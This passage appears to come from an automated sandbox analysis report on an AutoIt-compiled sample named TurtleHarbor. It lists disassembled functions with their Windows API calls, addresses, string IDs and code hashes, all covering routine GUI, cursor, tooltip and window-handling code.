                                            • GetSysColor.USER32(00000011), ref: 0039B0BD
                                            • SetTextColor.GDI32(?,00000000), ref: 0039B0C5
                                            • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0039B0D9
                                            • SelectObject.GDI32(?,0039AC1F), ref: 0039B0F0
                                            • DeleteObject.GDI32(?), ref: 0039B0FB
                                            • SelectObject.GDI32(?,?), ref: 0039B101
                                            • DeleteObject.GDI32(?), ref: 0039B106
                                            • SetTextColor.GDI32(?,?), ref: 0039B10C
                                            • SetBkColor.GDI32(?,?), ref: 0039B116
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                            • String ID:
                                            • API String ID: 1996641542-0
                                            • Opcode ID: 1c118c0f6604b1744d86ba49414af34567b509ecd6d0a34dc50176e56c5028f1
                                            • Instruction ID: 59dd5bf02c28dcf8bebe2ece33995bace2660d4f974a5926b52c8b25c37515c3
                                            • Opcode Fuzzy Hash: 1c118c0f6604b1744d86ba49414af34567b509ecd6d0a34dc50176e56c5028f1
                                            • Instruction Fuzzy Hash: F8616CB1900218AFDF1A9FA4DC48EAEBB7DFF09320F114215F916AB2A1D7759940CF90
                                            Function 00394ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCursorPos.USER32(?), ref: 00395007
                                            • GetDesktopWindow.USER32 ref: 0039501C
                                            • GetWindowRect.USER32(00000000), ref: 00395023
                                            • GetWindowLongW.USER32(?,000000F0), ref: 00395085
                                            • DestroyWindow.USER32(?), ref: 003950B1
                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 003950DA
                                            • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003950F8
                                            • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 0039511E
                                            • SendMessageW.USER32(?,00000421,?,?), ref: 00395133
                                            • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00395146
                                            • IsWindowVisible.USER32(?), ref: 00395166
                                            • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00395181
                                            • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00395195
                                            • GetWindowRect.USER32(?,?), ref: 003951AD
                                            • MonitorFromPoint.USER32(?,?,00000002), ref: 003951D3
                                            • GetMonitorInfoW.USER32(00000000,?), ref: 003951ED
                                            • CopyRect.USER32(?,?), ref: 00395204
                                            • SendMessageW.USER32(?,00000412,00000000), ref: 0039526F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                            • String ID: ($0$tooltips_class32
                                            • API String ID: 698492251-4156429822
                                            • Opcode ID: c7d4ebe8ae33969a09b44327f46c105f6b1bdb01db412ca0d8cf256294ddd1dc
                                            • Instruction ID: 87363308096ce29951f9ad7b1364d07dcfae1bd55269e72c571f2b011dd68205
                                            • Opcode Fuzzy Hash: c7d4ebe8ae33969a09b44327f46c105f6b1bdb01db412ca0d8cf256294ddd1dc
                                            • Instruction Fuzzy Hash: 9DB19C71604740AFDB0ADF64D884B6ABBE4FF89314F008A1CF5999B2A1D771EC45CB92
                                            Function 0037498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetFileVersionInfoSizeW.VERSION(?,?), ref: 0037499C
                                            • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 003749C2
                                            • _wcscpy.LIBCMT ref: 003749F0
                                            • _wcscmp.LIBCMT ref: 003749FB
                                            • _wcscat.LIBCMT ref: 00374A11
                                            • _wcsstr.LIBCMT ref: 00374A1C
                                            • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00374A38
                                            • _wcscat.LIBCMT ref: 00374A81
                                            • _wcscat.LIBCMT ref: 00374A88
                                            • _wcsncpy.LIBCMT ref: 00374AB3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                            • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                            • API String ID: 699586101-1459072770
                                            • Opcode ID: 37bf6066b405e3955b2a0418d26c30f1a4975584b4ac1751b2c54642184f310e
                                            • Instruction ID: f0bbf7aedff2cdaa99120fc4619788a45f291f91813fdc8aa40b60fa852a5f29
                                            • Opcode Fuzzy Hash: 37bf6066b405e3955b2a0418d26c30f1a4975584b4ac1751b2c54642184f310e
                                            • Instruction Fuzzy Hash: 5B413672604214BADB27B7348C87EBFB77CDF46720F004459F909EA192EB35EA0197A5
                                            Function 00312BA9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 286windowtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00312C8C
                                            • GetSystemMetrics.USER32(00000007), ref: 00312C94
                                            • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00312CBF
                                            • GetSystemMetrics.USER32(00000008), ref: 00312CC7
                                            • GetSystemMetrics.USER32(00000004), ref: 00312CEC
                                            • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00312D09
                                            • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00312D19
                                            • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00312D4C
                                            • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00312D60
                                            • GetClientRect.USER32(00000000,000000FF), ref: 00312D7E
                                            • GetStockObject.GDI32(00000011), ref: 00312D9A
                                            • SendMessageW.USER32(00000000,00000030,00000000), ref: 00312DA5
                                              • Part of subcall function 00312714: GetCursorPos.USER32(?), ref: 00312727
                                              • Part of subcall function 00312714: ScreenToClient.USER32(003D77B0,?), ref: 00312744
                                              • Part of subcall function 00312714: GetAsyncKeyState.USER32(00000001), ref: 00312769
                                              • Part of subcall function 00312714: GetAsyncKeyState.USER32(00000002), ref: 00312777
                                            • SetTimer.USER32(00000000,00000000,00000028,003113C7), ref: 00312DCC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                            • String ID: AutoIt v3 GUI$h:
                                            • API String ID: 1458621304-2556057621
                                            • Opcode ID: 41ce5e83c171277a7db4502678d563c2b29d348f414b3f944c811470a9b41147
                                            • Instruction ID: 7c556bec8f6a8fa6c1349e3b1b91cdead829f43c6ebfcdb123a828017d4181d8
                                            • Opcode Fuzzy Hash: 41ce5e83c171277a7db4502678d563c2b29d348f414b3f944c811470a9b41147
                                            • Instruction Fuzzy Hash: 88B15075A0520ADFDB1ADFA8DD59BEE77B8FB08310F114129FA15AB290DB70A850CF50
                                            Function 00330429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            • GetForegroundWindow.USER32(003A0980,?,?,?,?,?), ref: 003304E3
                                            • IsWindow.USER32(?), ref: 003666BB
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Foreground_memmove
                                            • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                            • API String ID: 3828923867-1919597938
                                            • Opcode ID: f446de11e1bf7e9caaac015a761134fbac7d57ef04d21a39ed8b12b16e08ea8f
                                            • Instruction ID: dc63d973c3166612562914c28d611b311adbfd1382e0adb76c53143d70275ef7
                                            • Opcode Fuzzy Hash: f446de11e1bf7e9caaac015a761134fbac7d57ef04d21a39ed8b12b16e08ea8f
                                            • Instruction Fuzzy Hash: ADD1D630104602DBCB0BEF20D5929AAFBB8FF55384F108A1DF4968B566DB30E959CB91
                                            Function 0039441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CharUpperBuffW.USER32(?,?), ref: 003944AC
                                            • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 0039456C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharMessageSendUpper
                                            • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                            • API String ID: 3974292440-719923060
                                            • Opcode ID: f6cf9d3c40d28a8e093aa4487dbbecafd61c3241463409bb49962b79ad97c060
                                            • Instruction ID: 6299c0c0636333ac92039d6b529b6bbd4006e718d8a0fee1f0c3ae7eb46ba8a4
                                            • Opcode Fuzzy Hash: f6cf9d3c40d28a8e093aa4487dbbecafd61c3241463409bb49962b79ad97c060
                                            • Instruction Fuzzy Hash: DBA191702146019FCB1AEF64C961E6AB3A5EF89314F11892CF8569F7D2DB30EC06CB51
                                            Function 003856C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadCursorW.USER32(00000000,00007F89), ref: 003856E1
                                            • LoadCursorW.USER32(00000000,00007F8A), ref: 003856EC
                                            • LoadCursorW.USER32(00000000,00007F00), ref: 003856F7
                                            • LoadCursorW.USER32(00000000,00007F03), ref: 00385702
                                            • LoadCursorW.USER32(00000000,00007F8B), ref: 0038570D
                                            • LoadCursorW.USER32(00000000,00007F01), ref: 00385718
                                            • LoadCursorW.USER32(00000000,00007F81), ref: 00385723
                                            • LoadCursorW.USER32(00000000,00007F88), ref: 0038572E
                                            • LoadCursorW.USER32(00000000,00007F80), ref: 00385739
                                            • LoadCursorW.USER32(00000000,00007F86), ref: 00385744
                                            • LoadCursorW.USER32(00000000,00007F83), ref: 0038574F
                                            • LoadCursorW.USER32(00000000,00007F85), ref: 0038575A
                                            • LoadCursorW.USER32(00000000,00007F82), ref: 00385765
                                            • LoadCursorW.USER32(00000000,00007F84), ref: 00385770
                                            • LoadCursorW.USER32(00000000,00007F04), ref: 0038577B
                                            • LoadCursorW.USER32(00000000,00007F02), ref: 00385786
                                            • GetCursorInfo.USER32(?), ref: 00385796
                                            • GetLastError.KERNEL32(00000001,00000000), ref: 003857C1
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Cursor$Load$ErrorInfoLast
                                            • String ID:
                                            • API String ID: 3215588206-0
                                            • Opcode ID: 6c4b0a247579ef29570630406c7995ea11fb0d1910d64f0867dc301b9f427355
                                            • Instruction ID: 68c4ae216ab840938cfe8d3e5ca46672b3e1db2ea6ff637a498b7d901bb7e2b8
                                            • Opcode Fuzzy Hash: 6c4b0a247579ef29570630406c7995ea11fb0d1910d64f0867dc301b9f427355
                                            • Instruction Fuzzy Hash: 7E415370E04319AADF119FBA8C49D6EFEF8EF55B10B10452FE519E7291DAB8A400CF51
                                            Function 0036B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetClassNameW.USER32(?,?,00000100), ref: 0036B17B
                                            • __swprintf.LIBCMT ref: 0036B21C
                                            • _wcscmp.LIBCMT ref: 0036B22F
                                            • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0036B284
                                            • _wcscmp.LIBCMT ref: 0036B2C0
                                            • GetClassNameW.USER32(?,?,00000400), ref: 0036B2F7
                                            • GetDlgCtrlID.USER32(?), ref: 0036B349
                                            • GetWindowRect.USER32(?,?), ref: 0036B37F
                                            • GetParent.USER32(?), ref: 0036B39D
                                            • ScreenToClient.USER32(00000000), ref: 0036B3A4
                                            • GetClassNameW.USER32(?,?,00000100), ref: 0036B41E
                                            • _wcscmp.LIBCMT ref: 0036B432
                                            • GetWindowTextW.USER32(?,?,00000400), ref: 0036B458
                                            • _wcscmp.LIBCMT ref: 0036B46C
                                              • Part of subcall function 0033385C: _iswctype.LIBCMT ref: 00333864
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                            • String ID: %s%u
                                            • API String ID: 3744389584-679674701
                                            • Opcode ID: 5e3a982b13eb944b3b9d922bc17f867a7fece07455da3d4bbe0fba700b20ecf9
                                            • Instruction ID: 71e1e7d9825e242bd80e4f5e03fe5e7ad2826ce7ef6e26ff05d14d9df722fa81
                                            • Opcode Fuzzy Hash: 5e3a982b13eb944b3b9d922bc17f867a7fece07455da3d4bbe0fba700b20ecf9
                                            • Instruction Fuzzy Hash: BAA1DC71204206ABD71BDF24C885BAAF7E8FF44354F108629F999C6195EB30E995CFA0
                                            Function 0036BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetClassNameW.USER32(00000008,?,00000400), ref: 0036BAB1
                                            • _wcscmp.LIBCMT ref: 0036BAC2
                                            • GetWindowTextW.USER32(00000001,?,00000400), ref: 0036BAEA
                                            • CharUpperBuffW.USER32(?,00000000), ref: 0036BB07
                                            • _wcscmp.LIBCMT ref: 0036BB25
                                            • _wcsstr.LIBCMT ref: 0036BB36
                                            • GetClassNameW.USER32(00000018,?,00000400), ref: 0036BB6E
                                            • _wcscmp.LIBCMT ref: 0036BB7E
                                            • GetWindowTextW.USER32(00000002,?,00000400), ref: 0036BBA5
                                            • GetClassNameW.USER32(00000018,?,00000400), ref: 0036BBEE
                                            • _wcscmp.LIBCMT ref: 0036BBFE
                                            • GetClassNameW.USER32(00000010,?,00000400), ref: 0036BC26
                                            • GetWindowRect.USER32(00000004,?), ref: 0036BC8F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                            • String ID: @$ThumbnailClass
                                            • API String ID: 1788623398-1539354611
                                            • Opcode ID: ffccdab16f4859b7ace1ccd677018ba3d02da20b27b08f5c2aa4cf0a37d2c868
                                            • Instruction ID: 7469098f0acb22e533539b6b546202984b612fcff81f393cbad66a6ce4e58d90
                                            • Opcode Fuzzy Hash: ffccdab16f4859b7ace1ccd677018ba3d02da20b27b08f5c2aa4cf0a37d2c868
                                            • Instruction Fuzzy Hash: BE818C710042099BDB16DF14C985FAABBECEF54314F04C469FD89DA09ADB30DA85CFA1
                                            Function 0036B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __wcsnicmp
                                            • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                            • API String ID: 1038674560-1810252412
                                            • Opcode ID: b572ead7bfab89533350b5b7fe91231949d46da3e1f2e1e686a3d5c06ebcaabd
                                            • Instruction ID: 8c3207a7cee7b2e2e8842ea3ef40a1ea43103555f7882ce88897e3c74ad8df9a
                                            • Opcode Fuzzy Hash: b572ead7bfab89533350b5b7fe91231949d46da3e1f2e1e686a3d5c06ebcaabd
                                            • Instruction Fuzzy Hash: 1531C231A44219A6CB17FBA0DE43FEDB3A8AF20354F204129F541F50D6EF656E548B92
                                            Function 0036CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadIconW.USER32(00000063), ref: 0036CBAA
                                            • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0036CBBC
                                            • SetWindowTextW.USER32(?,?), ref: 0036CBD3
                                            • GetDlgItem.USER32(?,000003EA), ref: 0036CBE8
                                            • SetWindowTextW.USER32(00000000,?), ref: 0036CBEE
                                            • GetDlgItem.USER32(?,000003E9), ref: 0036CBFE
                                            • SetWindowTextW.USER32(00000000,?), ref: 0036CC04
                                            • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0036CC25
                                            • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0036CC3F
                                            • GetWindowRect.USER32(?,?), ref: 0036CC48
                                            • SetWindowTextW.USER32(?,?), ref: 0036CCB3
                                            • GetDesktopWindow.USER32 ref: 0036CCB9
                                            • GetWindowRect.USER32(00000000), ref: 0036CCC0
                                            • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0036CD0C
                                            • GetClientRect.USER32(?,?), ref: 0036CD19
                                            • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0036CD3E
                                            • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0036CD69
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                            • String ID:
                                            • API String ID: 3869813825-0
                                            • Opcode ID: 63c6c793b55c653b2f4ca4ccefd432ef057acccb5b0a87d7124a16f3c41cf2a1
                                            • Instruction ID: f679419981e6927a2fe3d59c8aaa9b6f8b5fbf7b264e204b8d4bff179866248b
                                            • Opcode Fuzzy Hash: 63c6c793b55c653b2f4ca4ccefd432ef057acccb5b0a87d7124a16f3c41cf2a1
                                            • Instruction Fuzzy Hash: 87516D70900709AFDB22DFA8CE89B6EBBF9FF04705F004928E586A25A4C775A955CB50
                                            Function 0039A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 0039A87E
                                            • DestroyWindow.USER32(00000000,?), ref: 0039A8F8
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0039A972
                                            • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0039A994
                                            • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0039A9A7
                                            • DestroyWindow.USER32(00000000), ref: 0039A9C9
                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00310000,00000000), ref: 0039AA00
                                            • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0039AA19
                                            • GetDesktopWindow.USER32 ref: 0039AA32
                                            • GetWindowRect.USER32(00000000), ref: 0039AA39
                                            • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0039AA51
                                            • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0039AA69
                                              • Part of subcall function 003129AB: GetWindowLongW.USER32(?,000000EB), ref: 003129BC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                            • String ID: 0$tooltips_class32
                                            • API String ID: 1297703922-3619404913
                                            • Opcode ID: 00ac9445fdce9f0f7126e885b226ed681c11c99b8c676cf79242b211b85d12ca
                                            • Instruction ID: 144fba0527f7a362a0c293bccf3f24ce0941e7e6fa9a0ec0fd97ad2a843063a4
                                            • Opcode Fuzzy Hash: 00ac9445fdce9f0f7126e885b226ed681c11c99b8c676cf79242b211b85d12ca
                                            • Instruction Fuzzy Hash: 4371DC71540604AFDB26CF28CC49FAB77E9FB89304F09061DF9868B2A0D730E915DB96
                                            Function 0039CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • DragQueryPoint.SHELL32(?,?), ref: 0039CCCF
                                              • Part of subcall function 0039B1A9: ClientToScreen.USER32(?,?), ref: 0039B1D2
                                              • Part of subcall function 0039B1A9: GetWindowRect.USER32(?,?), ref: 0039B248
                                              • Part of subcall function 0039B1A9: PtInRect.USER32(?,?,0039C6BC), ref: 0039B258
